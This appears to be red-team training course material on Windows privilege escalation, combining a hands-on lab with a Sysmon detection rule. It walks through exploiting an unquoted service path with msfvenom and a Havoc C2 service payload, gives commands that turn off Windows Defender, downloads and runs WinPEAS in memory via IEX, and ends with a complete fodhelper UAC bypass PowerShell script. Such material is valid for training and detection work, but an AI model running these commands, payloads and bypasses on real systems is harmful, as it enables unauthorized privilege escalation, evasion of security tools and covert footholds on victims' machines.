Insecure registry permissions❌MisconfigurationModify registry entries with weak permissions to execute malicious code
Weak service permissions❌MisconfigurationModify service configuration or binpath when service has weak permissions
DLL hijacking❌DLL HijackingPlace malicious DLL in search path locations to be loaded instead of legitimate DLL
Insecure file/folder permissions❌MisconfigurationReplace or modify files/folders with weak permissions to execute malicious code
AlwaysInstallElevated❌Registry ExploitExploit Windows Installer policy to run MSI packages with SYSTEM privileges
Token impersonation✅Token ManipulationSteal and impersonate access tokens from higher privileged processes
UAC bypass⚠️UAC BypassBypass User Account Control to execute code with high integrity without user prompt
AlwaysInstallElevated❌Registry ExploitExploit Windows Installer policy to run MSI packages with SYSTEM privileges

LEGEND:

  • ✅ - Requires SeImpersonatePrivilege
  • ❌ - Does not require admin privileges
  • ⚠️ - Requires medium integrity level and user to be part of local administrators group

These techniques often also perform code execution and persistence. We will cover a few of them (marked in red) in the labs, just to demonstrate the concepts.

That being said, there are numerous techniques to obtain hashes/passwords that don't require administrator privileges - such as kerberoasting, NTLM relaying and password spraying.

Running as a regular unprivileged user:

image

image

Running as an administrator:

image

What is SeDebugPrivilege?

SeDebugPrivilege is a special privilege in Windows that allows a user or process to debug other processes, even those running under different security contexts or with higher privileges, such as system services. This privilege is part of Windows' security model, which uses privileges to control what actions a user or process can perform on the system. SeDebugPrivilege basically allows a user to bypass normal security restrictions when it comes to debugging and interacting with other processes.

Key Points About SeDebugPrivilege

Purpose:

  • By default, users can only debug processes they own (i.e., processes they started or are running under their user account).
  • SeDebugPrivilege extends this capability, allowing a process or user with this privilege to:
    • Attach a debugger to,
    • Inspect, or
    • Modify any process on the system, including those running as other users or as the SYSTEM account (a highly privileged account in Windows).

How It Works:

  • The privilege is managed through Windows security policies and can be assigned or revoked by an administrator.
  • It is typically enabled for members of the Administrators group by default on many Windows systems, but this can be changed via Group Policy Objects (GPOs) or local security policies.
  • To use SeDebugPrivilege, a process must explicitly request it using Windows API functions like LookupPrivilegeValue and AdjustTokenPrivileges. This involves:
    • Obtaining a handle to the process token.
    • Enabling the privilege.

When is SeDebugPrivilege required?

  • To open a handle to another process with full access rights (including the ability to steal its token), you must enable SeDebugPrivilege.
  • This privilege allows you to bypass security descriptors and access tokens of processes you do not own (like SYSTEM processes), which is commonly needed for credential dumping, process injection, or SYSTEM-level impersonation.
  • Without SeDebugPrivilege, a process can generally only manipulate tokens associated with its own security context (i.e., impersonate a token it already has or one created for it) or those it is allowed access to by the process’s Discretionary Access Control List (DACL).

Default Settings: On many Windows versions (e.g., Windows 10), SeDebugPrivilege is assigned to the Administrators group by default, which can be risky if not properly managed. Even with SeDebugPrivilege, some actions (like injecting into a SYSTEM process) may still fail if other security mechanisms, such as User Account Control (UAC) or additional restrictions, are in place.

Note: Administrators can control SeDebugPrivilege through the Local Security Policy editor (secpol.msc) or Group Policy Management Editor. It is listed under "User Rights Assignment" as "Debug programs". To enable or disable it, an administrator can modify the security policy to add or remove user groups (e.g., Administrators) from having this privilege.

Escalating from unprivileged user to SYSTEM in 3 steps:

image

1. UNQUOTED SERVICE PATH

1.1 SUMMARY

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

1.2 MITRE ATT&CK

screenshot

In order to exploit an unquoted service path misconfiguration, the following conditions are required:

  • Requires missing "quotes" in the service path
  • and whitespaces in the service path
  • write permissions in the parent folder that has the whitespaces

NOTE: Common places where users can install applications are "C:\Users\%username%\appdata" and "C:\Windows\Temp". These locations are writable for the logged on user and therefore typical easy targets for attackers.

CHECKING FOR WEAK PERMISSIONS

We can use powershell to check for weak permissions on folders that have spaces in them:

Get-Acl C:\Users\threatadmin\appdata | Select-Object -ExpandProperty Access | 
Where-Object { $_.FileSystemRights -match "Write|Modify|FullControl" -and $_.AccessControlType -eq "Allow" } | 
Select-Object IdentityReference, FileSystemRights, AccessControlType

image

As always there are several ways to check for directory/file permissions, here is another one:

icacls C:\Users\threatadmin\appdata

image


NOTE: Creating, starting, stopping or modifying Windows services requires admin privileges (with HIGH integrity level), but after a reboot the service will start with the privileges of the account configured to run the service (for example NT AUTHORITY\SYSTEM or any other user account it was configured with).

How we created the vulnerable service (this has already been done in your lab) :

  • Create folders "C:\MyPrograms\Vulnerable Service"
  • Give folder "C:\MyPrograms" write permissions for standard users (icacls "C:\MyPrograms" /grant:r "Users:(OI)(CI)M" /T)
  • Copy "VulnService.exe" found under C:\THEV\SysinternalsSuite\VulnService.exe to "C:\MyPrograms\Vulnerable Service\VulnService.exe"

Configuring the service (requires administrator rights) :

sc create VulnService binPath= "C:\MyPrograms\Vulnerable Service\VulnService.exe"
sc config VulnService obj= ".\Threatadmin" password= "Threathunt25"
sc qc VulnService
sc start VulnService

When there are spaces in a service path, Windows will try to find the service as follows:

It will parse "C:\MyPrograms\Vulnerable Service\service.exe" into:

  • Potential service: "C:\MyPrograms\vulnerable.exe" (name of the first word of the path that has a space in it)
  • with arguments: "Service\service.exe"

By placing a malicious service exe in "C:\MyPrograms\" named vulnerable.exe, we'll escalate privileges to the privileges of the account used to run that service (in our case Threatadmin) and potentially to NT AUTHORITY\SYSTEM (if the service is running with those privileges).

The resukt is that when the service starts, instead of running the service.exe, windows will run the vulnerable.exe (our malicious service), with the privileges of the service account used.


2. CREATING A CUSTOM SERVICE EXECUTABLE

So one thing to remember is that services are not interactive with the user's desktop. The reason MessageBox.Show() won't work is fundamental to how Windows Services operate. They run in Session 0, which is an isolated session reserved for services and system processes. User sessions (where you see your desktop and applications) run in higher-numbered sessions (e.g., Session 1, Session 2, etc.). A service in Session 0 cannot directly interact with a user's desktop in another session. This is not only for GUI-based functions like a message box, but also for showing command output in a cmd/PowerShell terminal - keep this in mind when you create payloads and want to use them as a service binary.

We have provided a custom vulnerable C# service that is running on your Windows machine (it's just a ping to 1.1.1.1 every 60 seconds). The custom service is vulnerable to the unquoted service path requirements (located in a directory with spaces, writable by standard users and missing quotes). We can easily modify this to do evil stuff - code-execution is code-execution! :)

image

Also note that our EvilService code writes some custom events to the application log under event ID 0 as seen in the screenshot below:

image

You can find the source code under "C:\THEV\Labs\Privesc\EvilService". We have pre-compiled the code so just rename the EvilService.exe to Vulnerable and copy it to "C:\MyPrograms\".

cd C:\MyPrograms
cp C:\THEV\Labs\PrivEsc\EvilService\EvilService\bin\x64\Release\EvilService.exe C:\MyPrograms\Vulnerable.exe
ls
get-service VulnService
get-service VulnService | start-service
get-service VulnService

image

This is what it should look like:

image

Now let's start the service. You can do this from PowerShell (as shown in the screenshot below), or using the services console on Windows (below):

image

3. VERIFY IF OUR SERVICE IS ACTUALLY RUNNING

Let's have a look at our event logs to confirm our new service did actually run:

LogEvent IDDescription
Sysmon1Process Creation
Windows Security4688Process Execution and Command Line
Windows Application0Custom log, our program writes with event ID 0 to this log

Open ELEX (Event Log Explorer) and let's check our logs. We can use the following Event IDs and logs:

In the application log - we can see our EvilService was started and started pinging 1.1.1.1:

image

In Sysmon's Process Creation logs (EID 1), we can see the same thing:

  • The service VulnService
  • Started our EvilService service executable instead of the real VulnService.exe located in "C:\MyPrograms\Vulnerable Service\VulnService.exe"
  • In High Integrity

image

We can also verify this with System Informer:

image

And finally, in the Windows Security event logs (needs to be configured through a GPO) Process Creation logs (EID 4688) we can clearly see the service was started and ran with our custom payload (Vulnerable.exe) instead of the actual service (VulnService):

image

4. CREATING A METASPLOIT PAYLOAD

NOTE: DEFENDER is turned OFF for this PoC, as it will detect out-of-the-box payloads generated by MSFVenom (Metasploit), yes even a messagebox payload.

Let's check this. We created a simple payload that pops a message box:

On Kali:

msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Successful Execution :)" TITLE="CrimsonCORE" -f exe -o VulnerableMSG.exe

image

When we download this and run this on our Windows machine you'll see it popping a message box:

image

When we drop this Metasploit exe payload (renamed to Vulnerable.exe) in C:\MyPrograms and restart the service, you'll see the service will fail to start up and won't show a messagebox.

image

IMPORTANT: Be aware of this - a regular exe can't be used as a service, and additionally the service won't be able to interact with the desktop (session 0 isolation), so a messagebox or cmd/PowerShell window won't show up.

So instead, we would need to create a service payload that doesn't interact with the desktop. For example, a reverse shell payload that will connect back to our Kali machine when the service starts.

5. DETECTION

NOTE: Your EDR probably logs (some of) these. If you want to log more DLLs and don't want to blow up your SIEM - make a Sysmon rule that excludes DLLs from system32 and other Windows system folders. However, be aware that this can generate a lot of noise and potentially miss some malicious activity if not carefully managed.

The Sysmon rule below is designed to catch this attack scenario:

  1. Attacker places malicious executable in a writable directory (e.g., C:\MyPrograms\Vulnerable.exe)
  2. Service has unquoted path like C:\MyPrograms\Vulnerable Service\VulnService.exe
  3. Windows misparses the path and executes C:\MyPrograms\Vulnerable.exe instead
  4. Malicious executable runs with service privileges (High integrity)
  5. Sysmon detects: High integrity process + suspicious location + service parent

Tailored SYSMON CONFIG:

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- Detect unquoted service path abuse -->
        <Rule name="UnquotedServicePathAbuse" groupRelation="and">
          <!-- Process creation event -->
          <IntegrityLevel condition="is">High</IntegrityLevel>
          <!-- Look for processes running from common writable directories -->
          <Image condition="contains any">C:\MyPrograms\;C:\Program Files\;C:\Users\;C:\ProgramData\;C:\Temp\;C:\Windows\Temp\</Image>
          <!-- Exclude legitimate system processes -->
          <Image condition="excludes all">C:\Windows\System32\;C:\Windows\SysWOW64\</Image>
          <!-- Look for service-related parent processes -->
          <ParentImage condition="is">C:\Windows\System32\services.exe</ParentImage>
        </Rule>
      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Sysmon Rule Analysis: Unquoted Service Path Abuse Detection

This Sysmon configuration is specifically crafted to detect unquoted service path abuse. Here's how it works:

Rule Structure

<Rule name="UnquotedServicePathAbuse" groupRelation="and">

The rule uses groupRelation="and", meaning ALL conditions must be met simultaneously for an alert to trigger.

Condition Breakdown

1. Integrity Level Check

<IntegrityLevel condition="is">High</IntegrityLevel>
  • Purpose: Detects processes running with High integrity (Administrator privileges)
  • Why this matters: Unquoted service path exploitation results in the malicious executable running with the same privileges as the service (often SYSTEM or Administrator)

2. Suspicious Location Detection

<Image condition="contains any">C:\MyPrograms\;C:\Program Files\;C:\Users\;C:\ProgramData\;C:\Temp\;C:\Windows\Temp\</Image>
  • Purpose: Looks for executables running from commonly writable directories
  • Key directories monitored:
    • C:\MyPrograms\ - Custom application folders (often user-writable)
    • C:\Program Files\ - Standard program installation directory
    • C:\Users\ - User profile directories
    • C:\ProgramData\ - Shared application data (hidden folder)
    • C:\Temp\ and C:\Windows\Temp\ - Temporary directories

3. System Process Exclusion

<Image condition="excludes all">C:\Windows\System32\;C:\Windows\SysWOW64\</Image>
  • Purpose: Excludes legitimate system processes to reduce false positives
  • Logic: Legitimate Windows services typically run from system directories - this attack assumes the adversary is running under non-privileged user context.

4. Service Parent Process

<ParentImage condition="is">C:\Windows\System32\services.exe</ParentImage>
  • Purpose: Confirms the process was spawned by the Windows Service Control Manager
  • Critical insight: services.exe is the parent process for all Windows services

Why This Rule is Effective

  • Low false positives: The combination of all four conditions makes it highly specific
  • Catches privilege escalation: Focuses on High integrity processes in writable locations
  • Service-specific: Only triggers for processes spawned by services.exe
  • Covers common attack vectors: Monitors typical directories used in unquoted service path attacks

This is a tactical detection rule that specifically targets the unquoted service path vulnerability demonstrated in the lab, making it an excellent example of how you can implement effective monitoring for privilege escalation attacks (if your EDR logs the required events, you can add this).

6. ENUMERATING UNQUOTED SERVICE PATHS WITH WINPEAS

WinPEAS is a popular post-exploitation enumeration tool that can help identify potential privilege escalation vectors, including unquoted service paths.

When an adversary runs WinPEAS as a regular unprivileged user by opening a command prompt and starting a PowerShell console with your student (unprivileged user) account, you will see the following:

runas /user:student powershell.exe

From the new PowerShell window (running with regular user permissions), the adversary can execute WinPEAS in memory by using IEX (Invoke-Expression):

powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

image

WinPEAS will check for a ton of misconfigurations, system info, updates installed and so on. Scrolling down you see the following:

image

The results that come back show 3 services with an unquoted service path. However, we need 2 additional conditions in order to exploit this:

  • The parent folder that hosts the service executable has to allow a regular user to have write permissions
  • The PATH needs to have spaces in it

We can see in our lab that the WindowsAzureGuest agent has an unquoted service path. However, it doesn't comply with the latter 2 conditions needed to execute.

The VulnService service however does comply with all 3 conditions, and we can exploit this to escalate our privileges to the Threatadmin user, which is a local administrator on this machine.

IMPORTANT: We achieve not only Privilege Escalation, but also Code-Execution and Persistence!!!

7. ALTERNATIVE EVASION - MODIFYING A SERVICE THROUGH REGISTRY ENTRIES

Every service created or running on a Windows system can be found in the registry - you can even modify a service without needing sc.exe, which bypasses a lot of detections (relying on API calls made by sc.exe) such as event ID 7045 (service creation). MEDR (Microsoft Endpoint Detection and Response) does NOT log ALL registry events, only a subset of about 500 or so - understand your EDR's capabilities, and know its limitations!!!

image

Sysmon event IDs 12, 13 and 14 log these events, and can serve as an add-on to your EDR when it's not logging registry events.

Event IDEvent TypeDescriptionDetection AnalysisRed Team Impact
12Registry Create/DeleteLogs creation or deletion of registry keys/values, useful for autostart or malware persistence monitoring.Detection Risk: Moderate. C# tools modifying registry (e.g., for persistence via Microsoft.Win32) trigger this. Forensic Impact: Exposes persistence mechanisms, aiding forensic analysis.Impact on C#: Red teams must minimize registry writes or use in-memory persistence to evade detection.
13Registry Value SetLogs modifications to registry values (DWORD/QWORD types).Detection Risk: Moderate. Similar to Event 12, C# tools setting registry values (e.g., via Registry.SetValue) are logged. Forensic Impact: Reveals configuration changes, critical for tracing C# persistence.Impact on C#: Avoid registry modifications in C# tools to maintain stealth, favoring memory-based techniques.
14Registry RenameLogs renaming of registry keys or values.Detection Risk: Low. Rare in C# attacks unless manipulating registry for persistence. Forensic Impact: Limited unless C# tools rename keys (e.g., to hide persistence).Impact on C#: Minimal impact, as registry renaming is uncommon in fileless attacks.

The adversary can simply modify an existing service, using reg.exe instead of sc.exe - this will not trigger event ID 7045 (service creation) - but will trigger Sysmon event ID 12 (registry value set). Administrator privileges are still required to modify a service, and the path to the service executable must be writable by the user, but we can point the service to any malicious executable we want.

image

  • ImagePath: Location of the service executable
  • Type: 0x10 = service that runs in its own process
  • Start: 2 = automatic
  • ErrorControl: 1 = Normal (log error and continue)
  • ObjectName: specifies the account under which the service runs

You can clearly see the modification made to the service below - this is just to demonstrate how services can be abused by threat actors (remember you need admin privileges for this). Abusing services is a typical persistence mechanism. In a real life scenario the threat actor would change the ImagePath to a malicious service executable for example.

image


We have set up the lab so that the VulnService service is running with Threatadmin privileges, so when we exploit this unquoted service path vulnerability, we'll escalate our privileges to Threatadmin!

Let's continue to the next lab where we'll use Havoc to get a foothold on our Windows machine, and then exploit this unquoted service path vulnerability to escalate our privileges to Threatadmin!

1. LAB - PRIVILEGE ESCALATION (PRIVESC)

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

Make sure Windows Defender TAMPER PROTECTION is turned off, otherwise you won't be able to disable Defender. This has no impact on detections, it just prevents Defender from being turned off, so we need to disable this first.

  • On your Windows machine, go to Settings -> Update & Security -> Windows Security -> Virus & threat protection -> Manage settings and turn OFF the Tamper Protection option:

image

  • Check if Defender is turned ON by running the checkav.ps1 script:

image

  • On your Windows machine, open a PowerShell prompt with Administrator privileges:
c:\thev\labs\powershell\av_check.ps1
  • If Defender is turned on - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

1.2 ESTABLISH INITIAL FOOTHOLD

  • On your Kali machine, go to your terminal, open a new tab and host the /opt/Havoc/payloads directory so we can upload the required files to Kali:

Screenshot

cd /opt/Havoc/payloads
updog2

Screenshot

  • Now, on your Windows machine use Chrome and go to http://kali:9090/ and upload the Havoc service demon executable ("demon.x64svc.exe") and the SharpUp.exe file to our payloads directory on Kali. Both files are located in `"C:\THEV\Labs\Lab-privesc"'.

Screenshot

Screenshot

You should see both files on your Kali machine in the /opt/Havoc/payloads directory:

Screenshot

NOTE: We want to start with regular user privileges, as we want to demonstrate privilege escalation from a regular user to an Admin/System user.

  • On your Windows machine, open a command prompt with Administrator privileges and use the runas command to start a new command prompt as the unprivileged (Student user):
runas /user:student cmd.exe
  • Enter the password, and in the new command prompt you are now running as a regular user with medium integrity. You can check this by running the whoami /all command:
whoami /all

Screenshot

  • Now from this new command prompt running as unprivileged user, execute the payload:
cd \temp
demon.x64.exe

Screenshot

Screenshot

1.3 ENUMERATION AND RECONNAISSANCE

First of all, we need to find if there are any misconfigurations on the Windows victim - we can use several tools:

There are several tools we can use for this:

  • WinPEAS (which we demonstrated in the previous lab)
  • PowerUp (Part of PowerSploit)
  • SharpUp (We'll use this to demonstrate Havoc's inline execution capabilities)

USING HAVOC DOTNET INLINE-EXECUTION

Havoc supports inline execution of .NET assemblies, which allows us to run .NET tools directly from the Havoc C2 server without needing to upload them to the target machine. This is particularly useful for evasion, as it minimizes disk activity and reduces the chances of detection by antivirus or endpoint detection and response (EDR) solutions. We're running in the memory of the Havoc demon, so no new processes are created, and no files are written to disk. This is similar to BOFs, but for .NET assemblies.

dotnet inline-execute /opt/Havoc/payloads/SharpUp.exe audit UnquotedServicePath

Screenshot

We now know there's a service that we can abuse for executing a payload, but does it also run with higher privileges than the current user? Remember we want to escalate our privileges. Let's find out.

In Havoc we can use these commands as well by using the SHELL command - this executes cmd.exe commands and gets the output:

  • On your Kali machine interact with the student session and use the SHELL command to check which privileges the service is running with:
shell sc qc vulnservice

Screenshot

  • Next let's check if the account used by the service is privileged or not:
shell net localgroup "Administrators" | find /i "Threatadmin"

Screenshot

1.4 USING HAVOC BOF COMMANDS

HAVOC provides two main approaches for executing commands: the SHELL command and Beacon Object Files (BOFs). The following table compares these methods from an evasion and OPSEC perspective:

CharacteristicSHELL CommandBOF Commands
Process Creation❌ Creates cmd.exe process✅ Runs in-memory within Beacon
Disk Activity❌ May write temporary files✅ No disk writes required
EDR Detection Risk❌ High - New process spawn✅ Low - In-process execution
AV Detection Risk❌ Medium-High - cmd.exe execution✅ Low - Minimal footprint
Network Traffic❌ Standard command output✅ Optimized Beacon communication
Memory Footprint❌ Full process memory space✅ Small (typically <3KB)
Process Monitoring❌ Visible in process lists✅ Hidden within Beacon process
Forensic Traces❌ Command line logging✅ Minimal logging artifacts
Task Suitability✅ All command types❌ Quick tasks only
Implementation Complexity✅ Simple - native commands❌ Complex - requires COFF

What are Beacon Object Files (BOFs)?

BOFs are position-independent code modules in Common Object File Format (COFF), compiled from C code. They run within the Beacon's memory space, enabling post-exploitation capabilities without creating separate processes or injection techniques that security tools easily detect.

Key Features:

  • Lightweight: Typically under 3KB (vs. Reflective DLLs or .NET assemblies)
  • In-memory execution: No disk writes or process creation
  • Limited API surface: Uses Beacon APIs and minimal Windows APIs
  • Position-independent: Can execute from any memory location

Limitations:

  • Not suitable for long-running or resource-intensive tasks
  • Limited linking capabilities (no .bss section for global variables)
  • Best for quick, one-off command execution

Reference: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm

We can use BOFs for enumerating the vulnerable service, just like we did before, and finding out if the service account is privileged or not:

Screenshot

Screenshot

1.5 EXPLOIT UNQUOTED SERVICE PATH

So now we know we have a service on the system that has an unquoted service path, the directory is writable by regular users (in real scenarios the C:\Users\username\appdata folder is a common location that unprivileged users have full access to), and the account being used is privileged.

IMPORTANT: Havoc supports different payload types, exe, dll, shellcode and service. In this version of Havoc there's a bug in the Service payload type, we have created our own service payload with Havoc shellcode demon.x64svc.exe, that will do exactly the same as if it were generated by Havoc. DO NOT GENERATE A SERVICE PAYLOAD WITH HAVOC, USE THE PROVIDED ONE IN THE LABS FOLDER!!!.

Earlier in this lab you already uploaded the demon.x64svc.exe to your Kali machine, so you don't need to generate a new one, it won't work anyhow.

Screenshot

Let's see what happens if we drop our Havoc service payload (havoc.x64svc.exe) in the "C:\MyPrograms\" directory, and rename it to Vulnerable.exe.

We can do this with HAVOC - Use the Havoc student session to upload a demonsvc.x64.exe renamed to Vulnerable.exe to the C:\MyPrograms\Vulnerable Service\ path, and we'll then start the VulnService.

  • On your Kali machine interact with the student session and use the upload command to transfer the file:
upload /opt/Havoc/payloads/havoc.x64svc.exe C:\MyPrograms\Vulnerable.exe

NOTE: When copy pasting this in the Havoc GUI, we noticed that pasting sometimes adds some trailing spaces at the end of the command, make sure to remove those spaces.

Screenshot

If we have a look on our Windows machine we can see the malicious service executable was dropped in the "C:\MyPrograms" folder. Now whenever this service (re-)starts, it will execute our Havoc payload instead of the actual service.

Instead of rebooting our Windows machine, let's just start the service manually (this requires admin privileges) and see what happens.

NOTE: You can't do this from within your Havoc session, as starting a service requires admin privileges - and your Havoc session is running as an unprivileged user (student). In real scenarios you would just reboot (or wait for the user to reboot) the machine and wait for the service to start automatically.

  • On your Windows machine, open a command prompt with Administrator privileges:
sc start vulnservice

Screenshot

We can see a new demon spawned, under the Threatadmin account. Let's check our privileges by interacting with our new session, using the command whoami:

whoami

We can now see that we are running a new demon, with an admin account and our process is running in HIGH integrity (services that run with privileged accounts always run in high integrity by the way).

1.6 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1. UAC - USER ACCOUNT CONTROL (PRIVILEGE ESCALATION)

1.1 SUMMARY

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild.

1.2 MITRE

Screenshot

TL;DR: User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes to your computer. These changes can be initiated by applications, viruses, or other forms of malware. UAC ensures that such changes cannot be made without your knowledge or consent, adding an extra layer of security.

UAC splits the Administrative user's token into a medium and a high integrity token. When that user tries to run something as an administrator, a prompt is shown which they must accept, which then the high integrity token is then applied to that process or thread.

A UAC bypass is going from the Administrative user's medium integrity token to high integrity token without having to interact with the prompt.

1.3 PROCESS AND INTEGRITY LEVELS

Every process in Windows has an integrity level, which is a part of the security token associated with the process. The integrity levels are:

  • Low: Used by processes that require minimal access to the system, such as web browsers running in protected mode.
  • Medium: The default level for standard user accounts. Processes running at this level have limited access to system resources.
  • High: Used by processes that require elevated privileges, such as administrative tasks.
  • System: The highest level, used by core system processes.

When a user with administrative privileges logs in, they receive two tokens: a standard user token (medium integrity) and an elevated token (high integrity). By default, applications run with the standard user token to minimize the risk of unauthorized changes. When an application needs to perform a task that requires higher privileges, UAC prompts the user for permission to use the elevated token.

IMPORTANT: UAC Bypasses only work for users that are in the Administrators group on the local machine.

image

How UAC Works

  1. Permissions and Elevation When you or an application tries to make changes that require administrative privileges, UAC prompts you to confirm or deny the action. This is known as elevation. Only an administrator account can provide the necessary permission to proceed.

  2. Secure Desktop In higher UAC settings, the prompt appears on the secure desktop. This is a screen dimming feature that makes it difficult for malware to interact with or spoof the UAC prompt. Essentially, it ensures that the prompt is coming from Windows and not from a malicious program.

  3. Levels of Notification UAC has different levels of notification settings, ranging from always notifying you of changes to never notifying you (effectively turning off UAC).

UAC Notification Levels

User Account Control (UAC) has four levels of notification settings:

  1. Always notify: This is the highest level of protection. It notifies you before any changes are made to your computer that require administrator permissions. It also freezes other tasks until you respond.

  2. Notify me only when programs try to make changes to my computer: This is the DEFAULT level. It notifies you when programs try to make changes to your computer or install software.

  3. Notify me only when programs try to make changes to my computer (do not dim my desktop): Similar to the previous level, but it doesn't switch to the Secure Desktop with desktop locking.

  4. Never notify: This is the lowest level of protection. UAC is disabled, and you won't be notified when changes are made to your computer.

You can adjust these settings by moving the slider in the User Account Control Settings window. The default setting is shown below:

image

And this would be the prompt the user gets when he want to elevate from medium to high integrity:

image

You can also check if UAC is enabled (1 = enabled, 0 is disabled) by querying the registry:

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' |Select-object EnableLua

And to check which level it is:

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' |Select-object ConsentPromptBehaviorAdmin
ValueDescription
0No Prompt
1Prompt for credential on the secure desktop
2Prompt for CONSENT on the secure desktop
3Prompt for Credentials on the normal desktop
4Prompt for CONSENT on the normal desktop
5Prompt for CONSENT for non-windows binaries

1.4 FODHELPER UAC BYPASS

The Fodhelper UAC bypass is a technique used to escalate privileges on Windows systems by exploiting the fodhelper.exe executable, a trusted Microsoft binary. This method allows attackers or testers to bypass User Account Control (UAC) prompts, enabling the execution of commands with elevated (high-integrity) privileges without user interaction.

What is Fodhelper?

Fodhelper.exe is a legitimate Windows executable located in C:\Windows\System32\fodhelper.exe. Introduced in Windows 10, it is used to manage optional features, such as region-specific keyboard settings or language changes, accessible via the "Manage Optional Features" option in Windows Settings. Key characteristics include:

  • Signed by Microsoft: Ensures authenticity and trust.
  • Auto-elevate Privilege: Runs with a high-integrity level due to its autoElevate flag set to true in its manifest, meaning it can execute with elevated privileges without triggering a UAC prompt under most UAC settings.

How the Fodhelper UAC Bypass Works

The bypass leverages the way fodhelper.exe interacts with the Windows Registry, specifically the HKEY_CURRENT_USER (HKCU) hive, which is writable by the current user without administrative privileges. Here's the core mechanism:

  1. Registry Key Manipulation:

    • When fodhelper.exe runs, it queries the registry key HKCU\Software\Classes\ms-settings\Shell\Open\command to check for a command to execute.
    • This key does not exist by default, and the current user has permission to create and modify it.
    • An attacker can create this key and insert a custom command (e.g., launching cmd.exe or a malicious script).
  2. Auto-elevation:

    • Since fodhelper.exe is a trusted binary with the autoElevate flag, it runs with high integrity automatically.
    • When it reads the manipulated registry key, it executes the attacker's command in a high-integrity context, bypassing the UAC prompt.
  3. Execution Flow Hijacking:

    • The technique hijacks the normal execution flow of fodhelper.exe by redirecting it to execute a user-specified command, inheriting the elevated privileges.

This method was first documented in 2017 and has been used by malware like Trickbot and in penetration testing scenarios.

Requirements for the Bypass

  • Operating System: Windows 10 (build 1709 or higher; some sources indicate earlier builds like 10240 are also vulnerable).
  • User Privileges: The user must be part of the Administrators group. The bypass does not work for standard users.
  • UAC Settings: The bypass works with most UAC settings except when UAC is set to "Always Notify" (highest level), where a prompt is still required.
  • Registry Access: The attacker needs write access to the HKCU hive, which is typically available to any logged-in user.

Step-by-Step Exploitation

  1. Create Registry Structure:

    • Create the registry key: HKCU\Software\Classes\ms-settings\Shell\Open\command.
    • Add a string value named (Default) with the desired command (e.g., cmd.exe /c powershell.exe).
    • Add an empty string value named DelegateExecute to ensure fodhelper.exe executes the command in the (Default) value.
  2. Execute Fodhelper:

    • Run fodhelper.exe (e.g., via C:\Windows\System32\fodhelper.exe).
    • The executable reads the manipulated registry key and executes the specified command with high integrity.
  3. Cleanup (Optional):

    • Delete or restore the registry key to avoid detection or conflicts (e.g., Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force).

1.5 FODHELPER POC

Below is a PowerShell script to perform the fodhelper UAC bypass, based on publicly available proofs of concept.

Warning: Do not run this on production systems, as it modifies the registry and can trigger antivirus detection.

Source: https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

# Fodhelper UAC Bypass Script
function FodhelperBypass {
    param (
        [String]$program = "cmd.exe /c powershell.exe" # Default command
    )

    # Create registry structure
    New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $program -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -PropertyType String -Force

    # Execute fodhelper.exe
    Start-Process -FilePath "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    # Cleanup (wait and remove registry keys)
    Start-Sleep -Seconds 3
    Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

# Example usage
# FodhelperBypass -program "cmd.exe /c powershell.exe"

We opened a command prompt with medium level integrity under user student_adm.

runas /user:student_adm powershell.exe

